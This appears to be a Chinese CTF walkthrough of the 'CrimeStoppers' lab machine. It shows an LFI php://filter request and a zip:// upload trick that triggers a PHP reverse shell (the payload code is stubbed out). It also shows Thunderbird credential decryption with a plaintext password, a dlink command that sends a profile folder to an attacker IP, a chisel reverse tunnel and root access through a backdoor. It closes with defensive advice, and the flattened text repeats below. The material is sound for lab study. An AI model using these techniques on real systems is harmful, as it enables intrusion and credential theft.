[Meachines] [Hard] CrimeStoppers LFI+ZIP-Shell+Firefox-Dec+DLINK+rootme-0.5
字数 1034 2025-08-29 22:41:38

CrimeStoppers 渗透测试教学文档

1. 信息收集

1.1 目标识别

  • 目标IP: 10.10.10.80
  • 开放端口: 80/tcp (Apache httpd 2.4.25 on Ubuntu)
  • 网站标题: "FBIs Most Wanted: FSociety"

1.2 端口扫描

使用以下命令进行端口扫描:

ip='10.10.10.80'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

2. Web应用分析

2.1 LFI漏洞利用

网站存在本地文件包含(LFI)漏洞,可通过以下方式利用:

GET /?op=php://filter/convert.base64-encode/resource=index HTTP/1.1
Host: 10.10.10.80
Cookie: admin=1

2.2 源码分析

关键PHP代码片段:

$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\.|\//', $op) || preg_match('/\0/', $op)) 
  die('Are you really trying ' . htmlentities($op) . '!? Did we Time Travel? This isn\'t the 90\'s');

if(!(include $op . '.php')) fatal('no such page');

2.3 上传功能分析

上传功能特点:

  1. 使用CSRF保护
  2. 文件保存在uploads/$client_ip/$secretname
  3. 文件名通过genFilename()函数生成
  4. 文件包含时会自动添加.php后缀

3. 漏洞利用

3.1 ZIP协议利用

利用ZIP协议解析上传的恶意文件:

  1. 生成包含PHP反向shell的zip文件:
import zipfile

payload = '''<?php /* 反向shell代码 */ ?>'''
with open('maptnh.php', 'w') as f:
    f.write(payload)
with zipfile.ZipFile('exp.zip', 'w') as zipf:
    zipf.write('maptnh.php')
  1. 完整利用脚本:
import requests
import re
import subprocess
import sys
import zipfile

def gen_zip(ip, port):
    # 生成包含反向shell的zip文件
    pass

def exp(target, tun0_ip):
    # 执行漏洞利用
    pass

if __name__ == "__main__":
    target = "http://10.10.10.80"
    ip = sys.argv[1]  # 监听IP
    port = sys.argv[2]  # 监听端口
    gen_zip(ip, port)
    exp(target, get_tun0_ip())

3.2 获取初始访问

  1. 上传恶意zip文件
  2. 通过LFI触发zip中的PHP代码:
GET /?op=zip://uploads/[IP]/[filename]%23maptnh HTTP/1.1

4. 横向移动

4.1 Firefox凭据解密

  1. 定位Firefox/thunderbird配置文件:
cat /home/dom/.thunderbird/36jinndk.default/logins.json
  1. 使用firefox_decrypt工具解密:
python3 firefox_decrypt.py /path/to/profile

获取到:

  • IMAP: dom@crimestoppers.htb / Gummer59
  • SMTP: dom@crimestoppers.htb / Gummer59

4.2 使用dlink工具同步文件

  1. 在攻击机启动dlink服务器:
./dlink server --path /tmp/test
  1. 在目标机执行:
./dlink client --endpoint '10.10.16.15:10091' --path /home/dom/.thunderbird --key 'pykAHGgYqNck'

4.3 SSH隧道建立

  1. 攻击机启动chisel服务器:
chisel server -p 1080 --reverse
  1. 目标机连接:
./chisel client 10.10.16.15:1080 R:2222:localhost:22
  1. 通过隧道SSH登录:
ssh dom@127.0.0.1 -p 2222

5. 权限提升

5.1 rootme-0.5后门利用

检查日志文件寻找线索:

cat /tmp/access.log.3 | head -n 20

5.2 获取root权限

通过后门直接获取root访问:

nc 127.0.0.1 80

6. 标志获取

  • 用户标志(User.txt): 3bb4930ab59d1a2db57e5fe11defcb27
  • Root标志: 通过上述方法获取

关键工具总结

  1. dlink: 用于文件同步
  2. firefox_decrypt: 解密Firefox/Thunderbird保存的凭据
  3. chisel: 建立反向隧道
  4. nmap/masscan: 端口扫描
  5. zip协议利用: 绕过文件上传限制

防御建议

  1. 禁用危险的PHP包装器(如zip://)
  2. 实现严格的文件上传验证
  3. 定期更新系统和应用软件
  4. 监控异常网络活动
  5. 使用最小权限原则运行服务
CrimeStoppers 渗透测试教学文档 1. 信息收集 1.1 目标识别 目标IP: 10.10.10.80 开放端口: 80/tcp (Apache httpd 2.4.25 on Ubuntu) 网站标题: "FBIs Most Wanted: FSociety" 1.2 端口扫描 使用以下命令进行端口扫描: 2. Web应用分析 2.1 LFI漏洞利用 网站存在本地文件包含(LFI)漏洞,可通过以下方式利用: 2.2 源码分析 关键PHP代码片段: 2.3 上传功能分析 上传功能特点: 使用CSRF保护 文件保存在 uploads/$client_ip/$secretname 文件名通过 genFilename() 函数生成 文件包含时会自动添加 .php 后缀 3. 漏洞利用 3.1 ZIP协议利用 利用ZIP协议解析上传的恶意文件: 生成包含PHP反向shell的zip文件: 完整利用脚本: 3.2 获取初始访问 上传恶意zip文件 通过LFI触发zip中的PHP代码: 4. 横向移动 4.1 Firefox凭据解密 定位Firefox/thunderbird配置文件: 使用firefox_ decrypt工具解密: 获取到: IMAP: dom@crimestoppers.htb / Gummer59 SMTP: dom@crimestoppers.htb / Gummer59 4.2 使用dlink工具同步文件 在攻击机启动dlink服务器: 在目标机执行: 4.3 SSH隧道建立 攻击机启动chisel服务器: 目标机连接: 通过隧道SSH登录: 5. 权限提升 5.1 rootme-0.5后门利用 检查日志文件寻找线索: 5.2 获取root权限 通过后门直接获取root访问: 6. 标志获取 用户标志(User.txt): 3bb4930ab59d1a2db57e5fe11defcb27 Root标志: 通过上述方法获取 关键工具总结 dlink : 用于文件同步 firefox_ decrypt : 解密Firefox/Thunderbird保存的凭据 chisel : 建立反向隧道 nmap/masscan : 端口扫描 zip协议利用 : 绕过文件上传限制 防御建议 禁用危险的PHP包装器(如zip://) 实现严格的文件上传验证 定期更新系统和应用软件 监控异常网络活动 使用最小权限原则运行服务